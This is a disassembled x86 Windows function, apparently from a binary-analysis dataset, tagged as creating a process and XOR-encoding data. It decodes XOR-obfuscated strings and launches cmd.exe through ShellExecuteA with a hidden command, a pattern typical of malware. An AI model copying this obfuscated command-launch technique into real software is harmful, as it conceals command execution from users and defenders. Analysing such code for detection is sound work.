Function at 0x1017c8c0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1022cd3d
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x206c
call fcn.10229ed0
mov eax, dword [0x106c15c0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x1036e16a], 0
je 0x1017ce26
cmp byte [0x1029b79f], 0
movups xmm0, xmmword [0x1029b788]
mov esi, dword [0x106c5e68]
movaps xmm6, xmmword [0x1022fa10]
movups xmmword [ebp - 0x2078], xmm0
movq xmm0, qword [0x1029b798]
movq qword [ebp - 0x2068], xmm0
je 0x1017caad
xor edx, edx
mov dword [ebp - 0x2044], edx
cmp esi, 2
jl 0x1017ca77
movaps xmm0, xmmword [str.1111111111111111_]
xor ecx, ecx
movaps xmm4, xmmword [0x1022fa00]
movaps xmm3, xmmword [0x10264270]
movaps xmm5, xmmword [0x10264250]
movaps xmmword [ebp - 0x2060], xmm0
mov edx, dword [ebp - 0x2060]
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x2078]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x2078], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x2074]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x2074], xmm2
add ecx, 8
cmp ecx, 0x18
jl 0x1017c990
jmp 0x1017caad
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x2044]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x2078], cl
inc edx
mov dword [ebp - 0x2044], edx
cmp edx, 0x18
jl 0x1017ca77
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x2078]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1017cad0
sub ecx, edx
lea eax, [ebp - 0x2078]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.100038f0
mov ecx, dword [ebp - 0x1c]
mov eax, accept
sub eax, ecx
mov dword [ebp - 4], 0
cmp eax, 3
jb 0x1017ce43
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
push ecx
cmova eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x2078]
push eax
push 3
push 0x10263af0
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x2044]
call fcn.10004290
cmp dword [ebp - 0x2064], 0xf
lea eax, [ebp - 0x2078]
push 0
cmova eax, dword [ebp - 0x2078]
push 0
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0x2064]
cmp ecx, 0xf
jbe 0x1017cb93
mov edx, dword [ebp - 0x2078]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1017cb89
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1017cb89
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.102294a5
add esp, 8
push 0x1388
push dword [0x1036d0bc]
lea ecx, [ebp - 0x2040]
call fcn.10035110
mov eax, dword [0x1029b7a0]
xor edx, edx
mov dword [ebp - 0x204c], eax
mov ax, word [0x1029b7a4]
mov word [ebp - 0x2048], ax
mov al, byte [0x1029b7a6]
mov byte [ebp - 0x2046], al
mov dword [ebp - 0x2044], edx
nop dword [eax]
nop dword [eax + eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x2044]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x2044]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x204c], cl
inc edx
mov dword [ebp - 0x2044], edx
cmp edx, 7
jl 0x1017cbe0
lea eax, [ebp - 0x204c]
push eax
lea eax, [ebp - 0x2040]
push eax
call fcn.1017c810
mov eax, dword [str.xYOUK__]
xor edx, edx
movq xmm0, qword [str.f__eq_R]
add esp, 8
mov dword [ebp - 0x2058], eax
mov ax, word [0x1029b7b4]
mov word [ebp - 0x2054], ax
mov al, byte [0x1029b7b6]
movq qword [ebp - 0x2060], xmm0
mov byte [ebp - 0x2052], al
mov dword [ebp - 0x2044], edx
cmp esi, 2
jl 0x1017cd63
movaps xmm3, xmmword [0x1022fa00]
mov edx, 8
movaps xmm4, xmmword [0x10264270]
movaps xmm1, xmm3
mov eax, dword [str.1111111111111111_]
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
movaps xmm2, xmmword [0x10264240]
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
mov dword [ebp - 0x2044], edx
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movaps xmm1, xmm2
pmulld xmm0, xmmword [0x10264250]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmmword [0x1022fa10]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.f__eq_R]
xorps xmm3, xmm0
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movd dword [ebp - 0x2060], xmm3
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x10264250]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x1022fa10]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp - 0x205c]
xorps xmm2, xmm0
movd dword [ebp - 0x205c], xmm2
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x2044]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x2060], cl
inc edx
mov dword [ebp - 0x2044], edx
cmp edx, 0xf
jl 0x1017cd63
lea eax, [ebp - 0x2060]
push eax
lea eax, [ebp - 0x2040]
push eax
call fcn.1017c7d0
mov eax, dword [0x106c3a2c]
lea ecx, [ebp - 0x2040]
add esp, 8
cmp eax, dword [0x106c3a30]
je 0x1017cddd
push 0x2010
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add dword [0x106c3a2c], 0x2010
jmp 0x1017cde9
push ecx
push eax
mov ecx, 0x106c3a28
call fcn.10034950
mov ecx, dword [ebp - 0x18]
mov byte [0x1036e16a], 0
cmp ecx, 0xf
jbe 0x1017ce26
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1017ce1c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1017ce1c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.102294a5
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10229364
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.10004e10
int3